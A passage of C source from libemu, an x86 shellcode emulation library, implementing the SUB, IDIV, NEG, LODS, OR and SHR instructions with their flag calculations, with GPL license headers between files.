TRACK_INIT_ALL_FLAGS(c->instr); /* 2A /r * Subtract r/m8 from r8 * SUB r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, op, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.opc], -) } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], -) } return 0; } int32_t instr_sub_2b(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* * 2B /r * Subtract r/m16 from r16 * SUB r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], op, *c->reg16[i->modrm.opc], -) } else { /* * 2B /r * Subtract r/m32 from r32 * SUB r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], op, c->reg[i->modrm.opc], -) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* * 2B /r * Subtract r/m16 from r16 * SUB r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], -) } else { /* * 2B /r * Subtract r/m32 from r32 * SUB r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], c->reg[i->modrm.rm], c->reg[i->modrm.opc], -) if ( i->modrm.opc == i->modrm.rm ) { TRACK_INIT_REG32(c->instr, i->modrm.opc); } } } return 0; } int32_t instr_sub_2c(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 2C ib * Subtract imm8 from AL * SUB AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], *i->imm8, *c->reg8[al], -) return 0; } int32_t instr_sub_2d(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->prefixes & PREFIX_OPSIZE ) { /* 2D iw * Subtract imm16 from AX * SUB AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, *c->reg16[ax], -) } else { /* 2D id * Subtract imm32 from EAX * SUB EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, c->reg[eax], -) } return 0; } int32_t instr_group_1_80_sub(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, dst, -) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, *c->reg8[i->modrm.rm], -) } return 0; } int32_t instr_group_1_81_sub(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /5 iw * Subtract imm16 from r/m16 * SUB r/m16,imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, dst, -) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 81 /5 id * Subtract imm32 from r/m32 * SUB r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, dst, -) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /5 iw * Subtract imm16 from r/m16 * SUB r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, *c->reg16[i->modrm.rm], -) } else { /* 81 /5 id * Subtract imm32 from r/m32 * SUB r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, c->reg[i->modrm.rm], -) } } return 0; } int32_t instr_group_1_83_sub(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /5 ib * Subtract sign-extended imm8 from r/m16 * SUB r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, dst, -) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 83 /5 ib * Subtract sign-extended imm8 from r/m32 * SUB r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, dst, -) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /5 ib * Subtract sign-extended imm8 from r/m16 * SUB r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, *c->reg16[i->modrm.rm], -) } else { /* 83 /5 ib * Subtract sign-extended imm8 from r/m32 * SUB r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, c->reg[i->modrm.rm], -) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/idiv.c0000644000175300017530000001111011706767213017733 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(dbits,bits,cpu,dividend,divisor,quotient,remainder)\ {\ if (divisor == 0) \ { \ emu_strerror_set(cpu->emu,"div by zero (%i bits)\n",bits); \ emu_errno_set(cpu->emu,EINVAL); \ return -1; \ } \ INTOF(dbits) q_result = (INTOF(dbits))dividend / (INTOF(bits))divisor; \ INTOF(dbits) r_result = (INTOF(dbits))dividend % (INTOF(bits))divisor; \ \ quotient = q_result; \ remainder = r_result; \ if ( q_result < max_inttype_borders[bits/8][0][0] || \ q_result > max_inttype_borders[bits/8][0][1] ) \ { \ emu_strerror_set(cpu->emu,"div quotient larger than intborder (%i bits)\n",bits); \ emu_errno_set(cpu->emu,EINVAL); \ return -1; \ } \ } #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 332*/ int32_t instr_group_3_f6_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* F6 /7 * Signed divide AX (where AH must contain sign-extension of AL) by r/m byte. (Results: AL=Quotient,AH=Remainder) * IDIV r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC(16, 8, c, *c->reg16[ax], m8, *c->reg8[al], *c->reg8[ah]) } else { /* F6 /7 * Signed divide AX (where AH must contain sign-extension of AL) by r/m byte. (Results: AL=Quotient,AH=Remainder) * IDIV r/m8 */ INSTR_CALC(16, 8, c, *c->reg16[ax], *c->reg8[i->modrm.rm], *c->reg8[al], *c->reg8[ah]) } return 0; } int32_t instr_group_3_f7_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /7 * Signed divide DX:AX (where DX must contain sign-extension of AX) by r/m word. (Results: AX=Quotient,DX=Remainder) * IDIV r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); uint32_t dividend; DWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]); INSTR_CALC(32, 16, c, dividend, m16, *c->reg16[ax], *c->reg16[dx]) } else { /* F7 /7 * Signed divide EDX:EAX (where EDX must contain sign-extension of EAX) by r/m doubleword. (Results: EAX=Quotient, EDX=Remainder) * IDIV r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); uint64_t dividend; QWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]); INSTR_CALC(64, 32, c, dividend, m32, c->reg[eax], c->reg[edx]) } }else { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /7 * Signed divide DX:AX (where DX must contain sign-extension of AX) by r/m word. (Results: AX=Quotient,DX=Remainder) * IDIV r/m16 */ uint32_t dividend; DWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]); INSTR_CALC(32, 16, c, dividend, *c->reg16[i->modrm.rm], *c->reg16[ax], *c->reg16[dx]) } else { /* F7 /7 * Signed divide EDX:EAX (where EDX must contain sign-extension of EAX) by r/m doubleword. (Results: EAX=Quotient, EDX=Remainder) * IDIV r/m32 */ uint64_t dividend; QWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]); INSTR_CALC(64, 32, c, dividend, c->reg[i->modrm.rm], c->reg[eax], c->reg[edx]) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/neg.c0000644000175300017530000001074611706767213017567 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, cpu) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operation_result = 0-operand_a; #define INSTR_SET_FLAG_OF(cpu, bits) \ { \ int64_t sx = (INTOF(bits))operand_a; \ int64_t sz = 0; \ \ sz = 0-sx; \ \ if (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \ || sz != (INTOF(bits))operation_result ) \ { \ CPU_FLAG_SET(cpu, f_of); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } #define INSTR_SET_FLAG_CF(cpu, a) \ { \ if (a == 0) \ { \ CPU_FLAG_SET(cpu, f_cf); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_cf); \ } \ } #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 494*/ #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a) \ INSTR_CALC(bits, a, cpu) \ INSTR_SET_FLAG_CF(cpu, a) \ INSTR_SET_FLAG_OF(cpu, bits) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) int32_t instr_group_3_f6_neg(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* F6 /3 * Two's complement negate r/m8 * NEG r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8) MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* F6 /3 * Two's complement negate r/m8 * NEG r/m8 */ INSTR_CALC_AND_SET_FLAGS(8,c,*c->reg8[i->modrm.rm]); } return 0; } int32_t instr_group_3_f7_neg(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /3 * Two's complement negate r/m16 * NEG r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16) MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* F7 /3 * Two's complement negate r/m32 * NEG r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32) MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /3 * Two's complement negate r/m16 * NEG r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm]) } else { /* F7 /3 * Two's complement negate r/m32 * NEG r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm]) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/lodscc.c0000644000175300017530000000561411706767213020263 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" int32_t instr_lods_ac(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* AC * Load byte at address DS:(E)SI into AL * LODS m8 */ /* AC * Load byte at address DS:(E)SI into AL * LODSB */ if ( i->prefixes & PREFIX_ADSIZE ) { // MEM_BYTE_READ(c, c->reg16[si], c->reg8[al]); UNIMPLEMENTED(c, SST); } else { MEM_BYTE_READ(c, c->reg[esi], c->reg8[al]); if ( CPU_FLAG_ISSET(c,f_df) ) { /* decrement */ c->reg[esi] -= 1; } else { /* increment */ c->reg[esi] += 1; } TRACK_INIT_REG8(c->instr, al); } return 0; } int32_t instr_lods_ad(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* AD * Load word at address DS:(E)SI into AX * LODS m16 */ /* AD * Load word at address DS:(E)SI into AX * LODSW */ if ( i->prefixes & PREFIX_ADSIZE ) { // MEM_WORD_READ(c, c->reg16[si], c->reg16[ax]); UNIMPLEMENTED(c, SST); } else { MEM_WORD_READ(c, c->reg[esi], c->reg16[ax]); if (CPU_FLAG_ISSET(c,f_df)) { /* decrement */ c->reg[esi] -= 2; }else { /* increment */ c->reg[esi] += 2; } } } else { /* AD * Load doubleword at address DS:(E)SI into EAX * LODS m32 */ /* AD * Load doubleword at address DS:(E)SI into EAX * LODSD */ if ( i->prefixes & PREFIX_ADSIZE ) { // MEM_DWORD_READ(c, c->reg16[si], &c->reg[eax]); UNIMPLEMENTED(c, SST); } else { MEM_DWORD_READ(c, c->reg[esi], &c->reg[eax]); if (CPU_FLAG_ISSET(c,f_df)) { /* decrement */ c->reg[esi] -= 4; }else { /* increment */ c->reg[esi] += 4; } TRACK_INIT_REG32(c->instr, eax); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/or.c0000644000175300017530000002274211706767213017435 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation) \ INSTR_CALC(bits, a, b, c, operation) \ CPU_FLAG_UNSET(cpu, f_of); \ CPU_FLAG_UNSET(cpu, f_cf); \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) #define TRACK_INIT_ALL_FLAGS(instruction_p) \ TRACK_INIT_EFLAG(instruction_p, f_of); \ TRACK_INIT_EFLAG(instruction_p, f_cf); \ TRACK_INIT_EFLAG(instruction_p, f_zf); \ TRACK_INIT_EFLAG(instruction_p, f_pf); \ TRACK_INIT_EFLAG(instruction_p, f_sf); int32_t instr_or_08(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 08 /r * r/m8 OR r8 * OR r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], dst, |) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], |) } return 0; } int32_t instr_or_09(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 09 /r * r/m16 OR r16 * OR r/m16,r16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], dst, |) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 09 /r * r/m32 OR r32 * OR r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], dst, |) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 09 /r * r/m16 OR r16 * OR r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], |) } else { /* 09 /r * r/m32 OR r32 * OR r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.rm], |) } } return 0; } int32_t instr_or_0a(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 0A /r * r8 OR r/m8 * OR r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, op, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.opc], |) } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], |) } return 0; } int32_t instr_or_0b(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0B /r * r16 OR r/m16 * OR r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, op, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], |) } else { /* 0B /r * r32 OR r/m32 * OR r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, op, c->reg[i->modrm.opc], c->reg[i->modrm.opc], |) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0B /r * r16 OR r/m16 * OR r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], |) } else { /* 0B /r * r32 OR r/m32 * OR r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.opc], |) } } return 0; } int32_t instr_or_0c(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 0C ib * AL OR imm8 * OR AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], *i->imm8, *c->reg8[al], |) return 0; } int32_t instr_or_0d(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->prefixes & PREFIX_OPSIZE ) { /* 0D iw * AX OR imm16 * OR AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, *c->reg16[ax], |) } else { /* 0D id * EAX OR imm32 * OR EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, c->reg[eax], |) } return 0; } int32_t instr_group_1_80_or(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, dst, |) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, *c->reg8[i->modrm.rm], |) } return 0; } int32_t instr_group_1_81_or(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /1 iw * r/m16 OR imm16 * OR r/m16,imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, dst, |) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 81 /1 id * r/m32 OR imm32 * OR r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, dst, |) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /1 iw * r/m16 OR imm16 * OR r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, *c->reg16[i->modrm.rm], |) } else { /* 81 /1 id * r/m32 OR imm32 * OR r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, c->reg[i->modrm.rm], |) } } return 0; } int32_t instr_group_1_83_or(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /1 ib * r/m16 OR imm8 (sign-extended) * OR r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, dst, |) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 83 /1 ib * r/m32 OR imm8 (sign-extended) * OR r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, dst, |) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /1 ib * r/m16 OR imm8 (sign-extended) * OR r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, *c->reg16[i->modrm.rm], |) } else { /* 83 /1 ib * r/m32 OR imm8 (sign-extended) * OR r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, c->reg[i->modrm.rm], |) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/shr.c0000644000175300017530000001653411706767213017613 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b, cpu) \ UINTOF(bits) operation_result = (a); \ uint8_t operand_b = (b); \ { \ operand_b &= 0x1f; \ if( operand_b > 0 ) \ { \ if( operation_result & (1 << (operand_b - 1)) ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ } \ operation_result >>= operand_b; \ if( operand_b == 1 ) \ { \ if( (a) & (1 << (bits - 1)) ) \ { \ CPU_FLAG_SET(cpu, f_of); \ } \ else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } \ a = operation_result; \ } \ } #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b, cpu) \ if (b > 0) \ { \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ } #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 662*/ int32_t instr_group_2_c0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* C0 /5 ib * Unsigned divide r/m8 by 2, imm8 times * SHR r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *i->imm8); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* C0 /5 ib * Unsigned divide r/m8 by 2, imm8 times * SHR r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8); } return 0; } int32_t instr_group_2_c1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /5 ib * Unsigned divide r/m16 by 2, imm8 times * SHR r/m16,imm8 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *i->imm8); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* C1 /5 ib * Unsigned divide r/m32 by 2, imm8 times * SHR r/m32,imm8 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *i->imm8); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /5 ib * Unsigned divide r/m16 by 2, imm8 times * SHR r/m16,imm8 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm8); } else { /* C1 /5 ib * Unsigned divide r/m32 by 2, imm8 times * SHR r/m32,imm8 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *i->imm8); } } return 0; } int32_t instr_group_2_d0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D0 /5 * Unsigned divide r/m8 by 2, once * 